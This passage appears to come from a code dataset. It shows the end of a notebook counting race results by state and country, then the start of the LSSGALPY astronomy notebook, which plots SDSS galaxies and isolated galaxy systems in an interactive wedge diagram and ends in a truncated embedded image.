1102,\n", " 'NT': 13,\n", " 'NV': 850,\n", " 'NY': 15299,\n", " 'OH': 8111,\n", " 'OK': 898,\n", " 'ON': 11940,\n", " 'OR': 3160,\n", " 'PA': 9399,\n", " 'PE': 194,\n", " 'PQ': 1344,\n", " 'PR': 374,\n", " 'PW': 1,\n", " 'QC': 1527,\n", " 'RI': 1968,\n", " 'SC': 1532,\n", " 'SD': 269,\n", " 'SK': 350,\n", " 'TN': 2407,\n", " 'TX': 9662,\n", " 'UT': 3240,\n", " 'VA': 6611,\n", " 'VI': 27,\n", " 'VT': 1443,\n", " 'WA': 4882,\n", " 'WI': 4591,\n", " 'WV': 474,\n", " 'WY': 249,\n", " 'YT': 23}}" ] } ], "prompt_number": 172 }, { "cell_type": "code", "collapsed": false, "input": [ "years = []\n", "for year in range(2001, 2015):\n", " y = pd.read_csv(\"results/{}/results.csv\".format(year), na_values=\"-\")[[\"country\"]]\n", " years.append(y)\n", "states = pd.concat(years, ignore_index=True).dropna()\n", "g = states.groupby(\"country\") #.aggregate(len)\n", "h = g.count()" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 173 }, { "cell_type": "code", "collapsed": false, "input": [ "json.dumps(h.to_dict()['country'])" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 174, "text": [ "'{\"LIE\": 1, \"EGY\": 3, \"LIB\": 2, \"QAT\": 4, \"PAR\": 2, \"BOL\": 3, \"SIN\": 98, \"PAN\": 17, \"PRK\": 1, \"TAN\": 2, \"UAE\": 34, \"HKG\": 211, \"HAI\": 2, \"TPE\": 19, \"SVK\": 29, \"CHI\": 172, \"MAS\": 14, \"CHN\": 79, \"URU\": 16, \"JAM\": 8, \"SUI\": 474, \"ZIM\": 5, \"FIN\": 99, \"THA\": 3, \"PHI\": 13, \"MAR\": 8, \"AHO\": 4, \"LAT\": 7, \"KAZ\": 1, \"GUA\": 57, \"BEL\": 220, \"CRC\": 142, \"KSA\": 7, \"DEN\": 312, \"BER\": 191, \"CMR\": 5, \"GER\": 1778, \"ROM\": 7, \"SCG\": 1, \"ROU\": 2, \"TCA\": 1, \"TRI\": 11, \"VGB\": 3, \"BLR\": 2, \"GRE\": 103, \"ANG\": 1, \"MON\": 1, \"IND\": 17, \"INA\": 1, \"NOR\": 86, \"CZE\": 30, \"ESA\": 17, \"DOM\": 31, \"LUX\": 19, \"ISR\": 44, \"NED\": 286, \"PER\": 68, \"ISL\": 154, \"ETH\": 63, \"COL\": 151, \"NEP\": 1, \"SER\": 1, \"ECU\": 89, \"FRA\": 707, \"LTU\": 8, \"TWN\": 7, \"AUS\": 639, \"GBR\": 1837, \"AUT\": 165, \"VEN\": 145, \"KEN\": 145, \"TUR\": 12, \"ITA\": 1168, \"BRN\": 1, \"TUN\": 1, \"RUS\": 92, \"MEX\": 1414, \"BRA\": 481, \"CAY\": 21, \"BAR\": 3, \"NGR\": 1, \"USA\": 240937, \"SWE\": 222, \"UKR\": 9, \"CAN\": 23070, \"KOR\": 1489, \"BAH\": 20, \"CYP\": 1, \"POR\": 93, \"CRO\": 6, \"POL\": 109, \"EST\": 11, \"ESP\": 384, \"SLO\": 33, \"IRL\": 705, \"MLT\": 1, \"NZL\": 147, \"ARU\": 3, \"JPN\": 1351, \"RSA\": 100, \"ARM\": 2, \"ARG\": 96, \"HUN\": 24}'" ] } ], "prompt_number": 174 }, { "cell_type": "code", "collapsed": false, "input": [], "language": "python", "metadata": {}, "outputs": [] } ], "metadata": {} } ] }

mit

margudo/LSSGALPY

IPyNBs/LSSGALPY_wedge.ipynb

1

383049

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# LSSGALPY - Wedge diagram" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Python tool for the interactive visualization of the large-scale environment around galaxies on the 3D space." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#### This code contains the visualisation tools developed for the A&A Article Catalogues of isolated galaxies, isolated pairs, and isolated triplets in the local Universe by M. Argudo-Fernández, S. Verley, G. Bergond, S. Duarte Puertas, E. Ramos Carmona, J. Sabater, M. Fernández-Lorenzo, D. Espada, J. Sulentic, J. E. Ruiz, and S. Leon." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### How it all works" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#### The code uses the interactive nature of the ipython notebook to create an interactive visualization of the LSS of galaxies in the local Universe using a wedge diagram in combination with a Mollweide projection. " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#### The following code import the needed libraries, so execute this cell first:" ] }, { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": false }, "outputs": [], "source": [ "%matplotlib inline\n", "import numpy as np, matplotlib.pyplot as plt, matplotlib.gridspec as gridspec\n", "from mpl_toolkits.basemap import Basemap\n", "from ipywidgets import interact, interactive, fixed\n", "import ipywidgets as widgets" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#### Run the following code to load the catalogues of galaxies that will be represented. In this case we represent the LSS by all the galaxies in the local Universe (with redshift less than 0.1) from the SDSS. We will visualize where are located isolated galaxies, isolated pairs, and isolated triplets with respect to SDSS galaxies. We also set the default values of the visualization at declination 0 degrees, with a declination range 5., for the wedge diagram representation. This ranges will be also shown by a red line in the complemented Mollweide projection. We select a default value of 0.2 for the transparency. " ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "collapsed": false }, "outputs": [], "source": [ "[ra, dec, z], [ra_isol, dec_isol, z_isol], [ra_pair, dec_pair, z_pair], [ra_trip, dec_trip, z_trip] = [np.loadtxt(filename+'.txt', usecols = (0, 1, 2), unpack=True) for filename in ['SDSS_DR10_galaxy_local', 'table1', 'table2', 'table3']]\n", "\n", "decstart, decrange, alpha0, raCen, raDelta = 0., 5., .2, 0., 180.\n", "ra_tot, dec_tot, z_tot = [ra, ra_isol, ra_pair, ra_trip], [dec, dec_isol, dec_pair, dec_trip], [z, z_isol, z_pair, z_trip]\n", "rad_tot = [np.radians(raval) for raval in ra_tot]" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#### The following code creates the representation. " ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "collapsed": false }, "outputs": [], "source": [ "def plotSkymap(SDSS=True, Isolated=True, Pairs=False, Triplets=False, Opacity=alpha0, DecRange=decrange, Declination=decstart):\n", " plt.figure(figsize=(15, 15))\n", " gs = gridspec.GridSpec(1, 2)\n", " ax1, ax2 = [plt.subplot(gs[i], polar=val, projection=pj) for i, val, pj in zip(range(0, 2), [True, False], [None, 'mollweide'])]\n", " [ax.grid(True) for ax in [ax1, ax2]]\n", " \n", " cond_dec = [((decval > Declination) & (decval < Declination + DecRange)) for decval in dec_tot]\n", " xyplt = [ax1.plot(rad_tot[i][cond_dec[i]], z_tot[i][cond_dec[i]], krgb, ms=mval, alpha=alpval, visible=visi)[0] \n", " for i, krgb, mval, alpval, visi in zip(range(0, 4), ['k.', 'ro', 'go', 'bo'], [1, 4, 4, 4], \n", " [Opacity, .7, .7, .7], [SDSS, Isolated, Pairs, Triplets])]\n", " x, y = [np.radians(val) for val in [-1*(ra - 180), dec]]\n", "\n", " H, xedges, yedges = np.histogram2d(x.T, y.T, bins=50)\n", " extent, levels = [xedges[0], xedges[-1], yedges[0], yedges[-1]], [100, 10000]\n", " ax2.contourf(H.T, levels, origin='lower', colors='b', lw=1, extent=extent, alpha=.3)\n", " \n", " [plt.setp(gtval, fontsize=fontval, alpha=.6) for gtval, fontval in zip([ax2.get_xticklabels(), ax2.get_yticklabels()], [8, 12])]\n", " x_rect, y_rect = [np.radians(val) for val in [raCen + np.array([-1, -1, 1, 1, -1])*raDelta, Declination + np.array([0, 1, 1, 0, 0])*DecRange]]\n", " ax2.fill(x_rect, y_rect, 'r', lw=0, alpha=.5)\n", " \n", " plt.show()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#### Run the following code to interact with the representation." ] }, { "cell_type": "code", "execution_count": 4, "metadata": { "collapsed": false }, "outputs": [ { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAABMkAAAJnCAYAAACNlgQwAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAAPYQAAD2EBqD+naQAAIABJREFUeJzs3Xl0FFX6PvDnreqkg8Em6EQWoyAMBJmQYUlYAgjBYVF2\nd+aLgoo/FMdh1BEXFAQdVBQVERQFYUDFbWQLjoEhCUsCEhI07DtiBKFRoFmLdPf9/ZFU291ZyN5Z\nns85HEl1ddXbnEll7pP33itKKRAREREREREREdVmWqALICIiIiIiIiIiCjSGZEREREREREREVOsx\nJCMiIiIiIiIiolqPIRkREREREREREdV6DMmIiIiIiIiIiKjWY0hGRERERERERES1HkMyIiIiIiIi\nIiKq9RiSERERERERERFRrceQjIiIiIiIiIiIaj2GZEREREREREREVOsxJCOiGkFE6orI2yJySETO\ni8h6EYnxO2eyiBzJe32ViPzR7/VrRSRVRI6LyKOV+wmIiIiIiIgokBiSEVFNMRfAzQD+D0AUgFUA\n/icijQBARJ4G8DcA/w9ARwDnACSKSLDXNV4FkADgLwD+LiLNKq98IiIiIiIiCiRRSgW6BiKiMhGR\nEABnAAxUSn3rdXwzgG+UUhNE5AiA15VSb+W9ZgNwDMAIpdQXece2A+iglLooIq8B2KSU+k9lfx4i\nIiIiIiKqfOwkI6KawAJAB2D4Hb8AoJuI3ACgIYDV5gtKKQeA7wB08Tr/AIDBIlIXQDyAfRVZNBER\nEREREVUdDMmIqNpTSp0FsAHACyLSSEQ0ERmO3ACsEXIDMoXczjFvx/JeM00A8A6A3wCkKaV+qPDi\niYiIiIiIqEqwBLoAIqJyMhzARwB+BuAEkAngUwAdinsBpdQWEWkM4Eql1KkKqZKIiIiIiIiqJHaS\nEVGNoJQ6qJSKBxAK4DqlVGcAwcidQvkLAAHQwO9tDfJe876OiwEZERERERFR7cOQjIhqFKXUBaXU\nMRGpD6AvgCVKqYPIDcNuNs/LW7i/E4C0wFRKREREREREVQl3tySiGkFE+iC3W2w3gBYApgI4D+Am\npZRLRMYBeBrASACHALwE4E8A/qSUuhSImomIiIiIiKjq4JpkRFRT1APwCoBrkbvw/lcAnldKuQBA\nKTVVRK4AMBtAGIB1AG5hQEZEREREREQAO8mIiIiIiIiIiIi4JhkRERERERERERFDMiIiIiIiIiIi\nqvUYkhERERERERERUa3HkIyIiIiIiIiIiGo9hmRERERERERERFTrMSQjIiIiIiIiIqJajyEZERER\nERERERHVegzJiIiIiIiIiIio1mNIRkREREREREREtR5DMiIiIiIiIiIiqvUYkhERERERERERUa3H\nkIyIiIiIiIiIiGo9hmRERERERERERFTrMSQjIiIiIiIiIqJajyEZERERERERERHVegzJiIiIiIiI\niIio1mNIRkREREREREREtR5DMiIiIiIiIiIiqvUYkhERERERERERUa3HkIyIiIiIiIiIiGo9S6AL\nICIqCRHRAdQFcKXXfwv6ezByfxHg/UcHIADchfwxAJzJ+3O2kL+fU0q5K/6TEhERERERUWViSEZE\nASUiFgDXAGgMoJHXfxuJSGOLxXI9gKuUUle43e5QANbLXA916tRxhYSEuDVNg4ggJydHAEhoaKhb\nRKCUgsvlwtmzZ7WgoCC3rutwuVxiGIacP39ev1zNFovloqZp55AbmP3qdDoPAzgC4KjXf82/2xmq\nERERERERVX2ilAp0DURUg4nIlQBaAGiZ9+c6AI2DgoKaKqUaOJ3Oq5Db3WWejz/84Q85jRo1QkRE\nhOWqq64SEUHz5s0RFhaGunXr4sorr/T88f86JCQEIlJwMcWglML58+dx5swZnD17FmfOnPH88f/6\n6NGj2LdvH3RdV9nZ2c6jR4/Kb7/95vPLBxFxWyyWE0qpI06n8yfkBmc/AtiT92efUupCqQsmIiIi\nIiKicsGQjIjKTESCADTD70FYS13XW2madmNOTk64eV79+vWdTZo0QXh4uCUkJARt27bFddddh0aN\nGqFx48Zo1KgRrrnmGuj6ZZu5Sm3QoEFYtmxZhV0/JycHx44dw5EjR3D06FEcPXoUR44cwZ49e7Bj\nxw6llHL++OOP2pkzZ8wPqSwWyzG3273d7Xbvwu/h2R4APyqlXBVWLBEREREREXkwJCOiYpPcFq0b\nAHQAECMiUUFBQa1zcnKuV0ppAGC1Wt0tWrRwtW7dOigyMhItWrSA+d/69esHtH4AWLlyJfr06RPQ\nGpRSOHHihBmcYefOnTh06BB27NiRc+DAAT0nJ8fcVCUnODj40KVLl7YD2AogI+/Pz4oPbyIiIiIi\nonLFkIyICuQfiOm6HisiHZxOpw3I7Qrr3Lmz3qpVK2nZsiVatmyJyMhING7cuEzTHWs7l8uFn376\n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\nwgXMmzcPr776qvOnn36yaJqW6Ha7/6WUWhfo2oiIiIiIqHpjSEbkR0Q0AHdbLJYXnE7njR07dnQ9\n99xz+qBBg7gYP1EV4XQ6sWDBAkycONGVnZ2tWyyWjU6ncxKARMUfbEREREREVAoMyYjy5HWO3aLr\n+usul6t1nz593OPHj9e6d+/OcIyoinK73VixYgVeeuklV3p6uq7reqrL5XpKKbUh0LUREREREVH1\nwpCMCICIdLFYLG84nc64Fi1auOfOnat179490GVRBdi1axdatWoV6DKonCml8N///hdjxoxx/fjj\nj7qmacvcbvezSqkdga6NiIiIiIiqBy7cT7WaiPxJ1/WlANJatWrV8ZtvvsHu3bsZkNVg48aNC3QJ\nVAFEBLfeeisOHDigL1y4EBEREbeKyDZN0+aJCHdrICIiIiKiy2InGdVKeYPmSQBGXHvtta6pU6da\n7rnnHmgac+Oa7vDhw9zhsha4dOkSPvjgA7z44ovO3377TSmlZgB4RSl1ItC1ERERERFR1cSQjGoV\nEfkDgOc0TXssLCwMTz/9tOUf//gHgoODA10aEVWAs2fP4sUXX8S7777rdjqdF1wu16sA3lZKnQ10\nbUREREREVLUwJKNaQUSuAPCEpmnPhISEhDzzzDP6448/jrp16wa6NCKqBHa7HVOmTMG7777rBnDS\n6XROBPCBUion0LUREREREVHVwJCMarS8HSuH6ro+QynVaMSIEfLaa68hPDw80KURUQD8+OOPmDBh\nglqwYIHour7L5XI9rJRaE+i6iIiIiIgo8LgAE9VYItJS1/WVAP7Tr1+/hnv27JGPPvqIAVkt99pr\nrwW6BAqgJk2a4N///rekp6cjKiqqBYAUTdM+FZHGga6NiIiIiIgCiyEZ1TgiEioirwDYfu211/Zc\ntmwZEhIStObNmwe6NKoCzp8/H+gSqAqIiYlBZmamPm/ePNSvX/9OXdf3iciTIhIU6NqIiIiIiCgw\nON2Saoy8qZV3WCyWd5RSDR577DGZMmUK6tSpE+jSiKgKO3XqFF544QW8++67Stf1fS6Xa7RSKjnQ\ndRERERERUeViSEY1goi00nV9psvl6jVgwAD3O++8o91www2BLouIqpEtW7bgkUcecX333Xe6pmlf\nuN3uJ5RSPwe6LiIiIiIiqhycbknVmojUFZHXAGyNiIi4KSEhAcuXL2dARkQl1q5dO2zYsEH/97//\njfr169+madpeERknIsGBro2IiIiIiCoeQzKqtkRkiMVi2WexWP75xBNPWHbt2mXp379/oMuiKu7E\niROBLoGqMBHBfffdh3379lkefPDBOgBe1XV9u4h0C3RtRERERERUsRiSUbUjIldrmvYpgMV9+/YN\n37t3rzZt2jSEhIQEujSqBh544IFAl0DVQFhYGD744AN8//33EhMTcwOAtSLylohcEejaiIiIiIio\nYnBNMqpWRGSIrutz6tSpEzZr1ix9+PDhyF2vv3CGYcBqtVZShVTVZWZmon379oEug6oRl8uFt99+\nG88995zb5XIddrlc9yql1ge6LiIiIiIiKl8MyahaEJGrRWSGUmpYx44d3UuWLNEaNWp02fcZhoH1\n69ejW7duDMqIqEx2796NIUOGuHft2iUApgMYr5Q6H+i6iIiIiIiofDAkoyovb+2xD+vUqVN/5syZ\nxeoe88ZOMiIqLy6XC2+99RbGjx/vdrvdh51OJ7vKiIiIiIhqCIZkVGWJyNUAZgAY1r9/f/eHH35Y\nrO4xb2ZAxqCMiMqLYRg4dOgQ7rvvPtemTZs0sKuMiIiIiKhG4ML9VCWJyGBd13eFhITc/cEHH2D5\n8uWlCsjWr18Ph8OB9evXwzCMQs+j2mPu3LmBLoGqMfO50rRpU6SlpelvvPGG6Lo+ljtgEhERERFV\nfwzJqEoRkbC8nSuX9OvX76oDBw5oDz30UImmV5qsViu6desGm81W6Jpk5oCXQVntkZmZGegSqBoz\nnysAoOs6nnzySWzbtk3atm17HX7fAZNb7RIRERERVUOcbklVhoh00nX9P3Xq1GlY3J0rywOnYhJR\nSfhvCGIYBtasWYMtW7bghRdecLvd7u0ul+sOpdSeQNdKRERERETFx5CMAk5ENABPAHi1adOm8u23\n32qRkZEVek8GY0RUFv7PEIfDAZvNhk2bNuH22293HjlyxOl2ux9SSn0cwDKJiIiIiKgEON2SAkpE\nwjVN+wbA63fffbeempqqZWdnl3j6o3m+w+Eo1rlJSUlwOBycZklEZWYYBlJSUuBwOHDmzBl8//33\nlkGDBlkBLNQ07SMRCQ10jUREREREdHkMyShgRKSHruvbbDbbX5YuXYoZM2Zg8+bNiI2NLVGXlzn1\nyW63Y/bs2UUGZWYo5nQ6sWrVKiQnJzMoI6rlShPKm5uCGIYBwzCQlZUFAOjWrRuuvvpqLF68WObP\nnw+r1TrCYrFkikibiqidiIiIiIjKD0MyqnQioovIBADJUVFRV8+YMUMHgG+//RZZWVkwDAN2u73Y\n17NarYiNjUV4eDhGjhwJm83mec178GsObAGgR48eCAoKQocOHTjtsobZuXMnfvrpJ59jx44dw7Jl\ny3Dx4kUMGjTIczw9PR1bt271OdcwDPz444/IycmplHopsAzDKHFYbj5zUlNTkZCQAACIjo6G1Wr1\neZ6MGDECmZmZWosWLZqJyGYReUgqY6FFIiIiIiIqFYZkVYCIdBeRZSLys4i4RWSQ3+sTRWSniJwV\nkd9EZJWIdPQ7JyXvveYfl4jM8jsnSkS25t1naGV8Nn8i0kjX9dUiMmn8+PGSkZGh33nnnejSpQu2\nbduG2267DWvXrsW4ceOKHZQZhoH09HQ4HA5s2LDB8z7/nSvNXenMgazT6cTmzZvZSVYNTJ8+3RNw\nmlauXInBgwfDf13FlStXYvfu3T7HDMPA8ePH4Xa78be//c1z/MiRIzhy5IjPuSdOnMAbb7yBn3/+\n2ef4m2++ieeee87n2Pnz5/Hxxx/jl19+KfVno8ArzdqcNpsNMTEx2LMnd23+vn37Fhi433jjjcjI\nyLDcfvvtwQA+0DTtMxGx5TsxwETkmbyfHW96HZvn93PFLSLf+L3vWhFJFZHjIvJo5VdORERERFR+\nuHB/FSAi/QDEAcgA8DWAoUqpZV6v3wPgOIADAOogd5H7OwE0V0r9mndOMoDdAF4AYHYqnFdKnfW6\nzjoAHwLYC+AzAH/yfr2iiUhfi8Xy6VVXXWX77LPPLPHx8Z7XsrOzcf/99+O+++5DXFwcvv/+ewwY\nMMCzc1xBg0/v4+YUy6lTp8JqtWLs2LGw2WxFvjc5ORlxcXH5uj+o4imlkJGRgfDwcDRp0sRz/Ouv\nv8ZXX32FTz/91Of8jRs3olmzZrjmmmsqu9QiXbhwAcuWLUPXrl0RERHhOT579mzs2rULb731lueY\nUgoXL15EnTp1AlEqFaEsG3mYC/YXxxdffIEHHnjAZRjGz06n83al1OZS3bSciUgsgM8BnAaQrJR6\nIu/4PADXABiJ33+uGEqp017vXQhgB4AVAL4EcItS6kDlVU9EREREVH4YklUxIuIGMMQ7JCvgnCuR\nO5i5WSmVnHcsGcAWc3BTyPsOKqVuyPv75wCmKqUyyvUDFHxfDcBkAON79+7t/vjjj7WCwo79+/fj\n+++/x9atWzFq1ChERETAbrcjKysLkZGRPiGE2SVmrl+WlJSErl27YtWqVbjpppsQHh7uM3gtaBBs\ndpCtX7/e02FG5W/v3r3YsGED7rvvPs8xpRReeeUVDBo0CFFRUQGsruK43W5o2u/NumfPnsXIkSPx\n1FNPoVOnTp7j2dnZCA0NRf369QNRJpVCWUK1AwcO4I477nBt2bJFARgL4D0VwB/EIlIXub+geQS5\nv2TZ4heS1VNK3VbE+7cD6KCUuigirwHYpJT6TyWUTkRERERU7jjdspoRkSAAowGcAvCD38v/JyL2\nvCmVU0TEv2XFISJxInINgPYAfqyEem2api0FMP6pp57Ct99+6xOQeU91bN68OW666SYAQGZmJrKz\nszFnzhw0atQIL774IrKzsz3vsVqtiI6ORkpKCgzDgLnMT2hoKGw2G+x2O6ZPnw673Z5v2qXJ7CAr\n6UYBVLjly5cjMzPT59jFixcRHh7uc0xE8Nxzz9XYgAyAT0AGAHXr1sVXX33lE5ABwJYtWzBjxgyf\nY06nk1M4q6jCnifma5fTrFkzbNy4Uf/rX/9qATATwHsiElz+lRbbTADLlVJJhbzeU0SOicguEZkl\nIlf5vX4AwOC8sC0ewL6KLJaIiIiIqCIxJKsmRKS/iJwBcBG53Qe9lVK/eZ3yCYDhAHoCmALgXgAL\n/S7zNIBEAD8ht3vhRAXX3NxisWyqU6fOLStWrMDUqVOhaZpnIOk92DSPhYeH44knnkDPnj2xdetW\ntGzZEuHh4fjLX/6CrVu3wuFweHay3LBhA374ITcn7NChAwDAnMK5YcMGGIaB1atXA0ChnWLmemZc\nl6xkzp07h6SkpHxrOZ07dw5XXeU7hm7Tpg1uueWWyiyvSEuWLAl0CT4GDhyICRMm+Bw7ffo0nnvu\nuXybCrDzN/C81zb0VlR45i84OBiffPIJ5syZA4vF8v90XU8SkfDLvrGc5U3lbwvg2UJO+S+A+wD0\nAjAOQA8A3/htPjABwDsAfgOQppTy/+UNEREREVG1wemWVUxh0y3zusIaAfgDgIcA3AygY2FBl4j0\nBLAawB+VUge9jgcDsCqlzlTMJ/Dc52ZN075u2rTpFStWrLC0atUKwO8DyW7duvmcbx4zDMNniqQZ\nYkVHR8Nms8FqtcLhcCA1NRVNmjRBeHg4rFYr3nzzTeTk5ODpp5/2DF7tdjs+/vhjjBkzpsg1g8oy\ndaq2uHjxIkJCQjxfb968GWvXrsVjjz2GoKCgAFZWcnfffTc+//zzQJdRKpMnT0ZQUBCefbawTIMC\nqbjPEnMNRZvNhtTUVAwePNh5+vTpY06ns39lhUwiEgFgM4C/KKW25R0rctq+iNwAYD+8pvrnHdcB\nXKmUOlXxlRMRERERVRx2klUTSqkLSqkDSqlNSqmHADgBPFjEWzYhd6HlP/pd51JFBmSS6zEAK6Oj\no+umpqZ6AjLg9y4MAEhMTPQ5ZhgGZs+e7dmd0hxsRkZGIiPj96XTDMPA4cOHMXbsWCQlJcEwDLRq\n1QpBQUE+3RwRERGXDci870MFGzduHBYsWOBzLCYmBk888US1C8gAVNuADAAmTJiQLyDbvHkznnji\nCZw/fz5AVdU+hXWLFTcgmz59Ot555x04HA507doVmZmZllatWjUUke9E5PbyrrcQHQCEA8gUkRwR\nyUFup9hYEbnk1y0GAMj7hcsJ5P+54mJARkREREQ1ATvJqpjiLNyfd94+AAuUUpMLeb0rgLUA/mx2\nCVS0vC61mQBGPf7443jppZewceNGxMbGenaaBODpBps1a1a+EMtcqN8MzaZPnw6n04no6Gj07t0b\nADBt2jQ4nU40adIEN998M/bs2YOYmBgAudM17XY7Nm/ejF69evkMWgvbhY6dZLlOnz6NqVOnYvjw\n4bjxxhsDXQ4Vk1IKO3fuxI033gjvXGPbtm248cYboet6AKureby7YcuyIyYAn+fR+fPnMWjQILV6\n9WoBMAnAZKWUuxxKLpCIhAJo4nd4PoCdAF5VSu0s4D0RyF3LcrBSKqGiaiMiIiIiChSGZFVA3mDl\nj8jt/MoE8ASAZOSu8fIrgPEAlgE4itzpln8DcA9ydxTbKSLNAPwVwDd55/8ZwJsADiulelXSZ7hG\n1/UlItLpgw8+0O6//34AuYNBc7rk6tWrUa9ePU94VZzQyhxMAkBKSgrat2+PLVu2oF27dkhNTcXe\nvXvRpEkT1KtXD8HBwejQoQMyMjJw7tw5DBgwwOc6M2fOxKOPPupzz/IY8FZX/lMoDcPA1q1b0a5d\nOwYr1ZxSCpMnT0ZMTAz69+8f6HJqnLIE60W9VymFKVOm4Pnnn4emaYvdbvd9SqmzZam1JLynW+b9\nXJoI4D8AfkHuz6jXAIQCiFZK5VRWXURERERElYXTLauGGABbAGQAUACmITcsmwTABaAVgK8A7EZu\nWFYfQDev3/RfAvAX5C7KvxPA6wC+BDCoMooXkba6rn9vs9li165d6wnIgNxOiejoaKxduxaJiYlo\n06aNZ4AYhtmBAAAgAElEQVRY2DRI7wGkzWbznJeZmYl58+ahdevWCA8Ph81mw8iRI/GHP/wBPXv2\nRFxcHDIyMtChQwcEB+duFufdvVbQToqFLcJd0y1evBiPPPKIzzGr1YqYmBgGZDWAiGDixIn5ArKP\nPvoIX375ZYCqqjnKEpAVtbi/iGD8+PFYsmQJrFbrIF3XN4pI09JXWmLevzVzAYgGsBS5P3s+BJAO\n4CYGZERERERUU7GTjMpERG4XkY+bNWsWnJKSokVERPi8bg4KY2NjYRgGwsOL3sDNO9Ty53A4YLfb\n8fXXX2P06NEA4JnGabVaYRgGFi9ejFtvvRWpqamIiYnxTN00O9fS09NrXSh2+PBhHD16FJ06dQp0\nKVXC/fffj3nz5gW6jIA4ffo09u3b59kNlipXUc83f9u2bUP37t3dZ86ccbhcrkFKqXUVXR8RERER\nUW3HTjIqNRH5G4Av77jjDmtWVla+gAz4vVPLZrMVKyBLSkpCcnJygZ0WVqsVhw4dwrBhwwAA6enp\n+aZmfvPNN57FsLOyshAdHe15v81mq3UBG